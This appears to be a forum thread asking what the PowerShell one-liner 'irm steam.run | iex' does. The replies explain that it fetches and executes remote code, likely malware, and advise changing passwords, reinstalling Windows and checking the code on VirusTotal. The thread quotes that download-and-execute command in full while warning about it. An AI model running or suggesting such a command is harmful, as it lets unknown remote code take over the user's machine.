What does the PowerShell command “irm steam.run | iex” actually do?

Yeah, from what I've seen, if you already ran it, change your passwords and look into a Windows reinstall. And definitely steer clear of commands from unverified sources next time.

It seems that when you tried to use that link, it could lead to executing malicious code. Always verify commands before running them, especially if they come from a forum or post you don’t trust. Your caution is on point!

That command downloads whatever is at steam.run and executes it. Most likely, you're looking at malware here. I recommend reformatting your system and being cautious about where you get your information in the future.

For a deeper dive, you can check out the actual code executed via VirusTotal. Just don't run commands you don’t fully understand in the future. You're not alone in this – it’s a common mistake!